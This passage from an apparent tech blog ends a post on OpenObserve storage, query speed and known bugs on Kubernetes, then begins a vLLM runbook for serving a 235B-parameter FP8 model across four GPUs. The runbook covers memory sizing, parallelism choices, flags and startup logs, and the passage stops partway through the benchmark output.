  echo "current hour $CUR: $(ls files/default/logs/default/$CUR | wc -l) files"'
```

```text
closed hour 2026/09/04/04 (KB, file)
14924	files/default/logs/default/2026/09/04/04/75015051248633118722d6f.vortex
11228	files/default/index/default_logs/2026/09/04/04/75015051248633118722d6f.ttv
516	files/default/bloom/default_logs/2026/09/04/04/1788498194507969.bf
current hour 2026/09/04/05: 13 files
```

Thirteen small files in the open hour, one 15 MB Vortex file with one index and one bloom filter for the closed one, and the originals were deleted after the delay we set. Nobody ran anything, this is the background job doing its rounds. (The compactor also logs each merge, but at this log volume the pod log only holds a few minutes, so you have to look right after an hour closes.)

Now for the question we started with: what does it cost to keep? The stream stats API reports, per stream, the bytes that came in, the bytes on disk, and the size of the index:

```bash
for t in logs metrics traces; do
  curl -s -u $AUTH "$O2/api/default/streams?type=$t" | jq -r --arg t $t \
    '[.list[].stats] | "\($t): \(length) streams, \(map(.doc_num)|add) rows, \(map(.storage_size)|add|round) MB in, \(map(.compressed_size)|add|round) MB on disk, \(map(.index_size)|add|round) MB index"'
done
```

```text
logs: 4 streams, 5067137 rows, 5173 MB in, 228 MB on disk, 164 MB index
metrics: 463 streams, 21040362 rows, 17329 MB in, 161 MB on disk, 64 MB index
traces: 1 streams, 727109 rows, 674 MB in, 44 MB on disk, 13 MB index
```

| | Came in | On disk | Index | Smaller by |
|---|---|---|---|---|
| Logs | 5,173 MB | 228 MB | 164 MB | 13x with index, 23x without |
| Metrics | 17,329 MB | 161 MB | 64 MB | 77x with index, 108x without |
| Traces | 674 MB | 44 MB | 13 MB | 12x with index, 15x without |
| Whole cluster, 15 hours | 23,176 MB | 433 MB | 241 MB | 34x with index, 54x without |

So 23 GB of telemetry from a three node cluster over fifteen hours is 674 MB in the bucket, index included. At S3 standard pricing of 2.3 cents per GB-month, a full month of this cluster is around 32 GB and under a dollar of storage. So the storage bill rounds to zero here, and the real cost of running this is the pod's CPU and memory. One detail in that table to notice: the logs index is not small, 164 MB against 228 MB of data, because every log body is tokenised into the full-text index. Metrics and traces have no full-text fields and their index is a fraction of the data. If you want logs cheaper still, take fields out of the full-text list.

Is it fast, though? Three questions over the last 12 hours of logs, 4.2 million rows, on this one pod:

```bash
NOW=$(date +%s); FROM=$((NOW-43200))
q() { curl -s -u $AUTH -H 'Content-Type: application/json' -X POST "$O2/api/default/_search?type=logs" \
  -d "{\"query\":{\"sql\":\"$1\",\"start_time\":${FROM}000000,\"end_time\":${NOW}000000,\"size\":5}}" \
  | jq -c '{took, total, scan_records, scan_size, idx_scan_size}'; }
q "SELECT count(*) AS rows FROM \\\"default\\\""
q "SELECT k8s_namespace_name, count(*) AS rows FROM \\\"default\\\" GROUP BY k8s_namespace_name"
q "SELECT _timestamp, k8s_namespace_name, body FROM \\\"default\\\" WHERE match_all('readonly database')"
```

```text
{"took":66,"total":1,"scan_records":4219547,"scan_size":4159,"idx_scan_size":135}
{"took":61,"total":4,"scan_records":4219547,"scan_size":4159,"idx_scan_size":135}
{"took":31,"total":5,"scan_records":28135,"scan_size":27,"idx_scan_size":0}
```

`took` is milliseconds, `scan_size` is the uncompressed size in MB of what the query touched. The count comes from file metadata and took 66 ms, which is the slowest of the three and a fair reminder that at this size everything is fast enough that the ordering is mostly noise. The group-by is the columnar scan reading one column across all 4.2 million rows, 61 ms. The full-text search is the query funnel from earlier in one line: 28,135 rows in the files it had to open, out of 4.2 million, 27 MB out of 4,159, in 31 ms, because the index threw away every file without a hit and then narrowed the rest to the matching rows. Do not read `idx_scan_size` as the proof of that, by the way: it reports 0 on the very row where the index did the most work, and 135 on the two that scanned everything. I reproduced the same inversion on 1.0.0, so take the drop in `scan_records` as the number that matters. This is one pod in a VM on a laptop with 12 hours of data, so treat these milliseconds as a rough shape rather than a benchmark. Watching it skip 99 percent of the data on my own laptop was really fun, though.

One last thing I wanted to see was a restart. A Helm upgrade mid-run restarted the pod for me (`kubectl -n openobserve rollout restart statefulset/o2-openobserve-standalone` does the same), and the startup log walked through the WAL replay we saw in the write path:

```text
INFO ingester::wal: Scanning lock files from "./data/wal/logs"
INFO ingester::wal: Clean orphan par files done
INFO ingester: Found 5 wal files to replay
WARN ingester::wal: replay wal file: ".../logs/1788326948372735.wal" done, batch_num: 6, took: 4 ms
```

Nothing was lost. Two things that cost me time, neither about OpenObserve: `kiac load image checkout:demo` stores the bare name while the kubelet looks for `docker.io/library/checkout:demo`, so tag with the full name. And if you wrap Go's `slog.Handler` to inject trace ids, implement `WithAttrs` and `WithGroup` too, or `logger.With(...)` silently drops your wrapper.

## Sharp edges

**Laptop to cluster works.** One Helm install, and the same binary that runs on a laptop was ingesting a whole cluster at under 600 MiB of memory. Cluster mode is a bigger commitment: PostgreSQL, NATS, object storage and the roles chart.

**Know what is off by default.** The memory cache, the circuit breakers and synthetics are off, the WAL is not fsynced per batch, and the docs lag the code on several defaults.

**Vortex is young here.** Faster on row fetch and larger on disk in the vendor's own numbers, in the open-source build only since July, pinned to a git revision. Try it on a test cluster, watch the release notes before production.

**SLO alerts do not fire on a single node.** The SLO measures and the page updates, but the status row the alert reads stops advancing the first time a pass tries to write it, because that write goes through the read-only database client and SQLite refuses it. I hit this on rc1 and again on 1.0.0 GA, where it is a missed backport rather than an open bug: the fix merged to `main` two days before the tag. Cluster deployments on PostgreSQL are not affected, and plain alerts work fine.

**PromQL has gaps.** OpenObserve does not run Prometheus's engine, it has its own PromQL evaluator, and `histogram_count`, `histogram_sum`, `histogram_fraction`, `sort`, `sort_desc` and the `@` modifier are not implemented in it yet. Point an existing Grafana dashboard at it and test before you switch.

## Wrapping up

We followed a pod log line into a Vortex file and its index, watched queries prune down to the rows they needed, and saw fifteen hours of a whole cluster's telemetry, 23 GB of it, sit in 674 MB on disk with every field queryable.

Give it a try on a test cluster and tell me how it goes, I am @SaiyamPathak on X and LinkedIn, and I would especially like to hear whether the SLO alerts advance for you on PostgreSQL, since the SQLite path still has this bug in 1.0.0. If you hit the same sharp edges I did, the notes above should save you an evening.

## Links

- Companion repo with the values files, demo app, manifests and step-by-step README: https://github.com/saiyam1814/openobserve-k8s-demo
- OpenObserve docs: https://openobserve.ai/docs
- Helm charts (standalone and collector): https://github.com/openobserve/openobserve-helm-chart
- 1.0.0 release: https://github.com/openobserve/openobserve/releases/tag/v1.0.0
- OpenObserve vs ClickHouse benchmark (vendor-run): https://openobserve.ai/blog/openobserve-vs-clickhouse-one-billion-logs-benchmark/
- Vortex file format: https://vortex.dev
- Grafana Labs Observability Survey 2026: https://grafana.com/observability-survey/
- kiac: https://github.com/saiyam1814/kiac

---

# Running a big LLM across multiple GPUs with vLLM

- Canonical: https://blog.kubesimplify.com/running-a-big-llm-across-multiple-gpus-with-vllm
- Published: 2026-09-01
- Summary: A runbook for serving a model too big for one GPU: download to serving in seven steps, with every vLLM flag, startup log line and real error explained, plus tensor, pipeline and expert parallelism benchmarked head to head on a 235B model across four RTX PRO 6000 cards.

Sooner or later everyone running models locally hits the same wall. You find a model you want, you look at the download size, and it is bigger than the GPU you own. A 235B model needs roughly 236 GB just for its weights. The card we have holds 96 GB. A handful of current data-centre parts do carry more, but nothing on our machine does, and no amount of clever flags will make 236 GB squeeze into 96 GB.

The answer is to use more than one GPU. That part everybody knows. The part that is genuinely confusing is what "use more than one GPU" actually means. Does each GPU get a copy of the model? Does the model get cut in half? Do the GPUs take turns? Which of those is happening, and what does it cost you?

Let's answer that properly, with a real model on real hardware.

## What this post covers

This is the runbook. Seven steps, from downloading a 236 GB model to serving it across four GPUs, with every command, flag, startup log line and real error explained. It is written for the person with root on the box, and it assumes no prior knowledge of distributed computing: if you know what a GPU is and you have run a model locally once, you are qualified.

The theory arrives where you need it to make a decision, not before. Step 3 explains what a tensor-parallel split actually costs, because that is where you pick one, and Step 6 explains why the three options trade against each other, because that is where you read the numbers. Nothing here is theory for its own sake.

## The machine and the model

Numbers mean nothing without the hardware attached, so here it is once.

**The machine:** a server with 8x NVIDIA RTX PRO 6000 Blackwell Server Edition cards. Each card has 96 GB of memory, and the machine reports 95.01 GiB of that as usable. We borrowed 4 of the 8 cards for this work.

One detail that matters more than it looks: these GPUs are **not** connected by NVLink. NVLink is NVIDIA's fast direct GPU-to-GPU cable. Without it, GPUs talk to each other over PCIe and through the CPU, which is slower. You can check what you have with one command:

```bash
root@utho-gpu-rtxpro6000-8-62383:~# nvidia-smi topo -m
```

| Device   | GPU0 | GPU1 | GPU2 | GPU3 | GPU4 | GPU5 | GPU6 | GPU7 | NIC0 | CPU Affinity    | NUMA Affinity |
| :------- | :--: | :--: | :--: | :--: | :--: | :--: | :--: | :--: | :--: | :-------------- | :-----------: |
| **GPU0** |  X   | SYS  | SYS  | SYS  | SYS  | SYS  | SYS  | SYS  | SYS  | 48-55,176-183   |       6       |
| **GPU1** | SYS  |  X   | SYS  | SYS  | SYS  | SYS  | SYS  | SYS  | PHB  | 32-39,160-167   |       4       |
| **GPU2** | SYS  | SYS  |  X   | SYS  | SYS  | SYS  | SYS  | SYS  | SYS  | 0-7,128-135     |       0       |
| **GPU3** | SYS  | SYS  | SYS  |  X   | SYS  | SYS  | SYS  | SYS  | SYS  | 16-23,144-151   |       2       |
| **GPU4** | SYS  | SYS  | SYS  | SYS  |  X   | SYS  | SYS  | SYS  | SYS  | 112-119,240-247 |      14       |
| **GPU5** | SYS  | SYS  | SYS  | SYS  | SYS  |  X   | SYS  | SYS  | SYS  | 96-103,224-231  |      12       |
| **GPU6** | SYS  | SYS  | SYS  | SYS  | SYS  | SYS  |  X   | SYS  | SYS  | 64-71,192-199   |       8       |
| **GPU7** | SYS  | SYS  | SYS  | SYS  | SYS  | SYS  | SYS  |  X   | SYS  | 80-87,208-215   |      10       |
| **NIC0** | SYS  | PHB  | SYS  | SYS  | SYS  | SYS  | SYS  | SYS  |  X   |                 |               |

The legend that command prints, trimmed to the codes that matter here:

| Symbol | Meaning                                                                       |
| :----- | :---------------------------------------------------------------------------- |
| `X`    | Self                                                                          |
| `SYS`  | Across PCIe **and** the interconnect between CPU sockets. The slowest option. |
| `NODE` | Across PCIe and the bridges inside one NUMA node                              |
| `PHB`  | Across PCIe and a PCIe host bridge, typically the CPU                         |
| `PXB`  | Across multiple PCIe bridges, without touching the host bridge                |
| `PIX`  | Across at most a single PCIe bridge. The fastest non-NVLink option.           |
| `NV#`  | Across a bonded set of `#` NVLinks                                            |

On our machine every pair of GPUs reports `SYS`, which means the traffic goes across PCIe and then across the link between the CPU sockets. If you had NVLink you would see `NV1`, `NV2` and so on instead. Keep this in mind, because it changes which splitting method is fastest.

**The model:** `Qwen/Qwen3-235B-A22B-Instruct-2507-FP8`. Let's unpack that name, because it is doing a lot of work:

- **235B** is the total parameter count, 235 billion.
- **A22B** means 22 billion **active** parameters. This is a mixture-of-experts model: each layer holds 128 small expert networks and a router picks just 8 of them per token, so you pay for 235B in memory but only about 22B in arithmetic.
- **FP8** is the number format the weights are stored in, 8 bits each, so one byte per parameter.

**The software:** vLLM 0.27.1 running in the official container, with PyTorch 2.13.0 and CUDA 13.0, on driver 610.43.02.

---

## Step 1: Getting the model onto the machine

Before anything can be split across GPUs it has to be on disk, and with a model this size that is not a formality.

### Check your disk first

A quarter of a terabyte has to land somewhere. Run `df -h` before you start, and if the machine is shared, leave real headroom rather than just enough: platforms that manage disk as a resource start taking action well before the disk is actually full.

### The download

With the headroom confirmed, you download it with the Hugging Face CLI:

```bash
root@utho-gpu-rtxpro6000-8-62383:~# pip install huggingface_hub hf_transfer
root@utho-gpu-rtxpro6000-8-62383:~# HF_XET_HIGH_PERFORMANCE=1 hf download Qwen/Qwen3-235B-A22B-Instruct-2507-FP8
Downloading bytes: ████████████████████████████████████████████████▏                                                                                                             | 24.4GB,  234MB/s
Reconstructing (incomplete total...):  13%|███████████████▋                                                                                                             | 10.0GB / 80.0GB,  104MB/s
Fetching 34 files:   0%|                                                                                                                                                      | 0/34 [00:00<?, ?it/s]

```

`HF_XET_HIGH_PERFORMANCE=1` switches on a downloader that parallelises across connections. On a 236 GB download that is the difference between an hour and most of an afternoon, so it is worth the extra package.

### What you actually get

The download is not one giant file. It arrives as **24 shards**, plus the small text files that describe the model:

```
config.json
generation_config.json
model-00001-of-00024.safetensors
model-00002-of-00024.safetensors
...
model-00024-of-00024.safetensors
model.safetensors.index.json
tokenizer.json
```

Three of those matter to you:

- **`.safetensors`** files hold the actual weights, and unlike the old `.bin` format, simply opening one can never run hidden code on your machine.
- **`model.safetensors.index.json`** is the master map. The weights are spread over 24 files, and this map says which file each piece lives in. When vLLM needs layer 62, it looks here, sees shard 17, and opens only that file.
- **`config.json`** is the model's spec sheet: how many layers, how many heads, how many experts. It is a few kilobytes, and it decides almost everything in this post, including how many GPUs you can split across.

One more detail, because a crash in Step 7 depends on it. Because this model is FP8, each weight is a single byte, which cannot record very large and very small numbers accurately at the same time.

The checkpoint works around that by cutting the weights into blocks of 128 by 128 numbers and giving each block one extra number, its **scale**, that the GPU multiplies back in to recover the real weight. These **block scales** ship alongside the weights, and the arrangement is declared in `config.json`:

```json
"quantization_config": {
  "quant_method": "fp8",
  "fmt": "e4m3",
  "weight_block_size": [128, 128],
  "activation_scheme": "dynamic"
}
```

Remember those block scales. They are the reason for the most annoying crash we hit, down in Step 7.

Do not spend any time on the shard count itself. Ours uses a 10 GB cap, 23 shards of exactly 10.00 GB and a 24th holding the remaining 6.45 GB, and somewhere in the 5 to 10 GB range is the common choice across the Hub.

The layout is fixed by whoever uploaded the model, there is no download flag to change it, and it makes no difference to serving: the weights are identical either way, and safetensors are memory-mapped so the loader reads the byte ranges it wants regardless of how they are grouped. Shard size is a distribution question, not an inference question.

### Where it gets stored

By default everything lands under `~/.cache/huggingface/hub`, in a layout that looks strange the first time you see it:

```
~/.cache/huggingface/hub/models--Qwen--Qwen3-235B-A22B-Instruct-2507-FP8/
├── blobs/          <- the real files, named by hash
├── refs/           <- which commit "main" points at
└── snapshots/
    └── e156cb4e.../  <- symlinks with friendly names, pointing into blobs/
```

The content lives once in `blobs/` under its hash, and `snapshots/` holds human-readable symlinks into it. That is why pulling two revisions of a model does not always double your disk usage, and it is also why `du` and `df` can disagree with your intuition.

The practical consequence for serving: mount `~/.cache/huggingface` into the container and point `HF_HOME` at it. Note that this is the **parent** of the `hub/` directory in the tree above, not `hub/` itself: the libraries append `hub/` themselves, so `HF_HOME=~/.cache/huggingface/hub` sends them looking in `hub/hub/` and they find nothing. That is exactly what the `-v` and `-e HF_HOME` flags in Step 4 are doing. Get it wrong and the container downloads its own 236 GB copy.

One more thing about loading that surprises people. When you split the model over 4 GPUs, vLLM starts 4 separate processes, one per GPU, and **every one of them reads the whole checkpoint**, keeping only the quarter it needs. vLLM's own docs say it plainly: with tensor parallelism, "each process will read the whole model and split it into chunks".

That is 4 x 236 GB of reads, but it is **not** 4 x 236 GB off the SSD, and the difference matters when you are sizing a machine. The operating system keeps recently read files in spare RAM, in what is called the page cache. The first worker to touch a shard pulls it from disk; the other three usually find it already in memory and never go near the drive. So what the SSD actually serves is closer to one pass than four, and the other three passes are memory-speed.

The catch is that this only holds while the model fits in the RAM you have spare. On a box with less free memory than the checkpoint, the early shards get evicted before the later workers ask for them, and you do start paying for real re-reads.

Our own `Model loading took` line, which you can see in Step 4, reported 48.5 seconds, and that is the warm case: we had just finished downloading, so almost all of it was still in page cache. A genuinely cold first load, straight off the drive, takes considerably longer, and it is the number to plan restarts around.

## Step 2: Will it fit? The ten-minute check

It sits after the download here because Step 1 is where the disk hazard bites, but on your next model run this check first: it is ten minutes with a calculator and it can save you a quarter-terabyte download that was never going to fit. The arithmetic is simpler than people expect.

**First, the weights.** One parameter costs this many bytes:

| Format       | Bits per parameter | Bytes per parameter |
| ------------ | ------------------ | ------------------- |
| FP32         | 32                 | 4                   |
| BF16 or FP16 | 16                 | 2                   |
| FP8          | 8                  | 1                   |
| FP4 or NVFP4 | 4                  | 0.5                 |

Weights = parameters x bytes per parameter. For our model: 235 billion at 1 byte each, about 236 GB. Our GPU holds 95.01 GiB, so the model is roughly 2.3 times too big for one card. That number alone tells you the minimum GPU count.

**Second, remember weights are only one of three things that must fit:**

1. **The weights.** Fixed size, known before you start.
2. **The KV cache.** The model's memory of the conversation so far. It grows with prompt length and with how many users you serve at once.
3. **Working space.** Scratch memory for the calculations, plus framework overhead.

**Third, size the cache.** Every term comes straight out of the model's `config.json`:

```
bytes per token = 2 x layers x kv_heads x head_dim x bytes_per_number
```

That leading **2 is not the number of blocks in a layer**. It is there because every token leaves behind **two** things, a key and a value, which is where the "KV" in KV cache comes from. Term by term for our model:

| Term               | Value | Where it comes from                        |
| ------------------ | ----- | ------------------------------------------ |
| 2                  | 2     | one key **and** one value per token        |
| `layers`           | 94    | `num_hidden_layers`                        |
| `kv_heads`         | 4     | `num_key_value_heads`                      |
| `head_dim`         | 128   | `head_dim`                                 |
| `bytes_per_number` | 2     | the cache is kept in BF16, so 2 bytes each |

So `2 x 94 x 4 x 128 x 2 = 192,512 bytes`, call it 188 KiB per token. Sounds small, but this model supports a 262,144-token context, so one single full-length conversation would need about **47 GiB**. That is half a GPU for one user, and it is why "the weights fit, so I am fine" is wrong. It is also why `--max-model-len` exists, as you will see in the flags table.

One piece of good news: under tensor parallelism the KV cache is **divided** across GPUs rather than duplicated, so 4 GPUs give you roughly 4x the conversation room on top of making the weights fit.

{{multi-gpu-memory-fit-animation}}

## Step 3: Pick your split, then check it divides

vLLM gives you three ways to spread a model over GPUs, and they are genuinely different things. Picture a restaurant kitchen that has to produce one dish, and the flag falls out of the picture:

- **Tensor parallelism** (`--tensor-parallel-size`) is four chefs working on the same dish at once, one chopping, one on sauce, one on protein, one plating. They constantly coordinate, but the dish is done fast. It slices every layer across all GPUs: best tokens per second, evenly split memory, and the KV cache gets divided too. The default for GPUs inside one machine, and what we run.
- **Pipeline parallelism** (`--pipeline-parallel-size`) is four chefs at four stations with the dish moving down the line, where station two cannot start until station one finishes. Very little talking, so it is the tool for spanning machines with a slow network, and it wins on time to first token. But a station that runs slow leaves the others waiting.
- **Expert parallelism** (`--enable-expert-parallel`) is a kitchen of 128 specialists where each dish needs only 8, spread across four rooms. Mixture-of-experts models only. Its job is trillion-parameter clusters where even a tensor-parallel split cannot hold all the experts. It is **not** a memory saver at our scale, as Step 6 shows.

{{multi-gpu-split-modes-animation}}

The first two are easiest to hold in your head as two ways of cutting a layer cake:

![Pipeline parallelism cuts the layer cake horizontally, so each GPU owns a contiguous block of whole layers; tensor parallelism cuts it vertically, so each GPU owns a slice of every layer](/img/blog/running-a-big-llm-across-multiple-gpus-with-vllm/cake-layers.png)

That is the whole distinction. Pipeline parallelism cuts across the layers and each GPU owns a few of them start to finish. Tensor parallelism cuts down through the layers and every GPU owns a sliver of all 94, which is why they all work on the same token at the same time. Expert parallelism is the odd one out and does not fit the cake picture: it deals whole expert networks to different cards, 32 each in our case.

The drawing shows three cards because it is illustrating the two shapes, not our setup. Card counts are not free choices, which is exactly what the next check is about.

**One cost to know before you pick tensor parallelism.** Because every GPU holds only a sliver of each layer, none of them can finish a layer alone. They each compute a partial answer and then add those together so everyone has the full result. That operation is called an **all-reduce**, and it happens twice per layer, every layer, for every single token.

On a 94-layer model that is 188 all-reduces to produce one token, and on our machine every one of them crosses PCIe rather than NVLink. That communication tax is what Step 6's numbers are really measuring. You do not need the details to run the thing, only to know the tax exists and that the interconnect sets its rate.

**Then the ten-second pre-flight check.** You cannot pick any number for `--tensor-parallel-size`: because attention heads are handed out whole, your TP size must divide the model's head counts. Open `config.json`:

```json
{
  "num_hidden_layers": 94,
  "hidden_size": 4096,
  "num_attention_heads": 64,
  "num_key_value_heads": 4,
  "head_dim": 128,
  "num_experts": 128,
  "num_experts_per_tok": 8
}
```

For our model:

- `num_attention_heads` is 64, so 2, 4, 8, 16 all divide it cleanly.
- `num_key_value_heads` is **4**. This is the binding constraint. At `-tp 4` each GPU gets exactly one key/value head. At `-tp 8` there are not enough to go around, and vLLM has to duplicate them across GPUs, which wastes memory and gives you less benefit than you would hope.
- `num_experts` is 128, which divides evenly by 4 and by 8, so expert parallelism has more freedom than tensor parallelism here.

That is the real lesson: **the KV head count, not the parameter count, usually decides how wide you can go.** It is the first thing we check on any new model, and it takes ten seconds.

## Step 4: The command, and every flag in it

Here is the whole thing. Run this and you have a server; the rest of the step explains every piece of it.

```bash
root@utho-gpu-rtxpro6000-8-62383:~# docker run -d --name vllm-tp4 \
  --gpus '"device=1,4,5,6"' \
  --ipc=host \
  -p 8000:8000 \
  -v /root/.cache/huggingface:/root/.cache/huggingface \
  -e HF_HUB_OFFLINE=1 \
  -e HF_HOME=/root/.cache/huggingface \
  -e VLLM_USE_DEEP_GEMM=0 \
  vllm/vllm-openai:latest \
    Qwen/Qwen3-235B-A22B-Instruct-2507-FP8 \
    --served-model-name qwen3-235b \
    --tensor-parallel-size 4 \
    --gpu-memory-utilization 0.90 \
    --max-model-len 32768 \
    --max-num-seqs 32 \
    --port 8000
.
.
.
(Worker_TP0 pid=770) INFO 08-21 18:18:05 [gpu_model_runner.py:5405] Model loading took 55.19 GiB memory and 48.502592 seconds
(EngineCore pid=558) INFO 08-21 18:21:55 [kv_cache_utils.py:2235] GPU KV cache size: 621,392 tokens
(EngineCore pid=558) INFO 08-21 18:21:55 [kv_cache_utils.py:2236] Maximum concurrency for 32,768 tokens per request: 18.96x
(Worker_TP1 pid=771) INFO 08-21 18:22:06 [gpu_worker.py:789] Free memory on device (94.05/95.01 GiB) on startup. Desired GPU memory utilization is (0.9, 85.51 GiB). Actual usage is 56.89 GiB for consumed memory (weights + non-torch), 0.76 GiB for peak activation, and 0.32 GiB for CUDAGraph memory. Replace gpu_memory_utilization config with `--kv-cache-memory=29407858586` (27.39 GiB) to fit into requested memory, or `--kv-cache-memory=38581581312` (35.93 GiB) to fully utilize gpu memory. Current kv cache memory in use is 27.85 GiB.
(Worker_TP1, Worker_TP2 and Worker_TP3 print the same line, same numbers, different pid. That they agree exactly is the point: the split is even.)


```

The two interesting environment variables here are:

- `HF_HUB_OFFLINE=1` tells the Hugging Face library not to phone home. It uses the local copy, which also means startup does not fail if the network is down.
- `VLLM_USE_DEEP_GEMM=0` Not optional on our hardware. Without it all four workers die during startup with `Unknown SF transformation`. Step 7 explains why, and it is specific to FP8 block-scaled weights on `sm_120` cards, so try without it first on anything else.

One thing worth knowing about that entrypoint: because it is already `vllm serve`, running `docker run ... vllm/vllm-openai:latest python3 -c "..."` does **not** work the way you expect. Your Python gets handed to `vllm serve` as arguments and you get a confusing parse error. To run something else inside the image, override it:

```bash
root@utho-gpu-rtxpro6000-8-62383:~# docker run --rm --gpus '"device=1,4"' --entrypoint python3 vllm/vllm-openai:latest -c "
import torch
print('GPUs visible:', torch.cuda.device_count())
print('can GPU 0 talk to GPU 1 directly:', torch.cuda.can_device_access_peer(0, 1))
"
GPUs visible: 2
can GPU 0 talk to GPU 1 directly: True
```

That is a genuinely useful sanity check before you start a long model load, because it confirms the container can see the cards. Do read the second line carefully though: `can_device_access_peer` tells you peer-to-peer addressing is **possible**, not that it is fast.

Ours returns `True` while `nvidia-smi topo -m` still reports `SYS` for that pair, because the transfer is permitted but it is going over PCIe and across sockets. The topology matrix is the one that tells you what performance to expect.

### Every flag, explained

If you only remember one thing from the runbook, make it this table.

| Flag                                | What it does                                                                                              | Why our value                                                                                                                  |
| ----------------------------------- | --------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------ |
| `--tensor-parallel-size 4`          | How many GPUs to slice each layer across. Often shortened to `-tp`.                                       | 236 GB of weights needs at least 3 cards of 95 GiB, and 4 divides the model's head counts cleanly.                             |
| `--pipeline-parallel-size 1`        | How many groups to cut the layer stack into. Often `-pp`.                                                 | 1 means off. We measure a `-pp 4` build in Step 6.                                                                             |
| `--enable-expert-parallel`          | Hand out whole experts per GPU instead of slicing every expert. Mixture-of-experts models only.           | Tested both ways in Step 6, the choice a big MoE forces on you.                                                                |
| `--gpu-memory-utilization 0.90`     | The fraction of each GPU's memory vLLM is allowed to claim, for weights plus KV cache plus working space. | 0.90 leaves a little headroom. Push it to 0.95 for more cache, but leave room or startup fails.                                |
| `--max-model-len 32768`             | The longest single request, prompt plus reply, in tokens.                                                 | The model supports 262,144, but that would eat 47 GiB of cache for one user. 32,768 is a sane serving value.                   |
| `--max-num-seqs 32`                 | How many requests may be in flight at once.                                                               | Caps how much KV cache can be demanded simultaneously. Lower it if you see requests being preempted.                           |
| `--served-model-name qwen3-235b`    | The name clients use in the API.                                                                          | Otherwise clients must send the full checkpoint path.                                                                          |
| `--port 8000`                       | Port for the OpenAI-compatible API.                                                                       | Convention.                                                                                                                    |
| `--distributed-executor-backend mp` | How the GPU worker processes are managed: `mp` for plain Python multiprocessing, `ray` for a Ray cluster. | All 4 GPUs are in one machine, so `mp` is the simpler choice. `ray` is for multiple machines.                                  |
| `--enforce-eager`                   | Skips building optimised CUDA graphs at startup.                                                          | We do **not** use it. It saves memory and starts faster, but generation is slower. Reach for it only if you are out of memory. |
| `--kv-cache-dtype fp8`              | Stores the conversation cache at 8 bits instead of 16, roughly halving cache memory.                      | We left it at the default so our cache numbers are easy to check by hand. It is a good lever if you need more concurrency.     |

Three rows above describe flags we measured but did not keep: `--pipeline-parallel-size` and `--enable-expert-parallel` are the alternatives benchmarked in Step 6, and `--distributed-executor-backend mp` is already vLLM's default for a single machine, so it is in the table for the day you need `ray` rather than because our command sets it. The command above carries only what our final configuration needs, plus one environment variable:

| Environment variable   | Why you need it                                                                                                                                                                                                                                 |
| ---------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `VLLM_USE_DEEP_GEMM=0` | Not optional on our hardware. Without it all four workers die during startup with `Unknown SF transformation`. Step 7 explains why, and it is specific to FP8 block-scaled weights on `sm_120` cards, so try without it first on anything else. |

Two container flags matter just as much, and neither is a vLLM flag:

| Docker flag                 | Why you need it                                                                                                                                                                                    |
| --------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `--ipc=host`                | The GPU workers are separate processes that pass data through shared memory. Docker's default 64 MB of shared memory is far too small, and leaving this out gives you a confusing hang at startup. |
| `--gpus '"device=1,4,5,6"'` | Hands specific GPUs to the container. The nested quoting is fussy but required. Inside the container they are renumbered 0 to 3.                                                                   |

## Step 5: How to read the startup log

The startup log is the best teaching tool in the whole stack, and almost nobody reads it. Four lines tell you everything about whether your configuration is sensible.

**Line one, how big the weights are per GPU.** You get one of these per worker:

```
(Worker_TP0) Model loading took X GiB
```

If you divide the full model size by your `--tensor-parallel-size` and get roughly this number, the split worked. If this number equals the **whole** model, something is wrong and you are not actually splitting.

**Line two, what is left for conversations.** On vLLM 0.27.1 this arrives inside the long `gpu_worker.py` line you can see in Step 4, phrased as:

```
Current kv cache memory in use is X GiB
```

Older versions print a dedicated `Available KV cache memory: X GiB` line instead, so search for both. If the figure is **negative**, your weights plus overhead already exceeded the budget and vLLM will refuse to start. That is the clearest possible signal that you need more GPUs, a smaller number format, or a lower `--max-model-len`.

**Line three, the cache in tokens:**

```
GPU KV cache size: N tokens
```

This is the total number of tokens the server can remember across all users at once. You can predict it: take the available cache memory, divide by the bytes-per-token figure from Step 2 (divided by your TP size, since each card keeps only its own heads' share).

**Line four, how many users that really means:**

```
Maximum concurrency for 32,768 tokens per request: N.NNx
```

This is the one to show your capacity planner. If it says `2.05x`, then two users can each have a full-length 32k conversation, and a third will have to wait or be preempted. It is simply the previous line divided by `--max-model-len`.

For our run the four figures came out as: `Model loading took 55.19 GiB` per worker, 27.85 GiB of kv cache in use, `GPU KV cache size: 621,392 tokens`, and a maximum concurrency of `18.96x` at 32k.

Predicting that token count by hand, 27.85 GiB divided by 47 KiB per token per card, gives 621,337 against the 621,392 vLLM printed, which is the kind of agreement that tells you the mental model is right.

## Step 6: Benchmark it, and what we would run

Once it was running, we compared all three ways of splitting the same model over the same 4 GPUs: tensor parallelism on its own, tensor parallelism plus expert parallelism, and pure pipeline parallelism. Same hardware, same flags otherwise, same benchmark shape.

Two numbers do most of the talking. **Time to first token** is how long the user waits before anything appears, and **output tokens per second** is how fast the answer then streams. Every configuration trades one against the other, and one idea explains why.

The tradeoff between time to first token and tokens per second comes from the fact that answering a request involves two separate jobs:

- First, the server reads your entire prompt in a single pass. This is where the time to first token is determined.
- Then, it writes the reply one token at a time, which is where tokens per second are measured.
- Those 188 exchanges per token (from Step 3) are almost free during output, since they only carry one token’s worth of data each time.
- During the initial prompt read (for example, a 1,024-token prompt), the same exchanges carry a thousand times more data.
- As a result:
  - Tensor parallelism pays most of its communication cost at the beginning (first-token time).
  - Pipeline parallelism, where each GPU simply passes the result to the next, largely avoids this cost.
- That’s the core tradeoff, and you’ll see it illustrated in the upcoming benchmarks.

The benchmark is vLLM's own, with tensor parallelism on, 1024 tokens in and 256 tokens out per request, with `--ignore-eos` so every request generates exactly 256 tokens and the comparison is fair:

```bash
root@utho-gpu-rtxpro6000-8-62383:~# docker exec vllm-tp4 vllm bench serve \
  --model Qwen/Qwen3-235B-A22B-Instruct-2507-FP8 \
  --served-model-name qwen3-235b \
  --base-url http://localhost:8000 \
  --dataset-name random --random-input-len 1024 --random-output-len 256 \
  --max-concurrency 1 --num-prompts 12 --seed 42 --ignore-eos

Maximum request concurrency: 1
100%|██████████| 12/12 [00:55<00:00,  4.62s/it]
============ Serving Benchmark Result ============
Benchmark duration (s):                  55.03
Total input tokens:                      12288
Total generated tokens:                  3072
Request throughput (req/s):              0.22
Output token throughput (tok/s):         55.83
Total token throughput (tok/s):          279.14
---------------Time to First Token----------------
Mean TTFT (ms):                          252.78
Median TTFT (ms):                        252.43
-----Time per Output Token (excl. 1st token)------
Median TPOT (ms):                        17.11
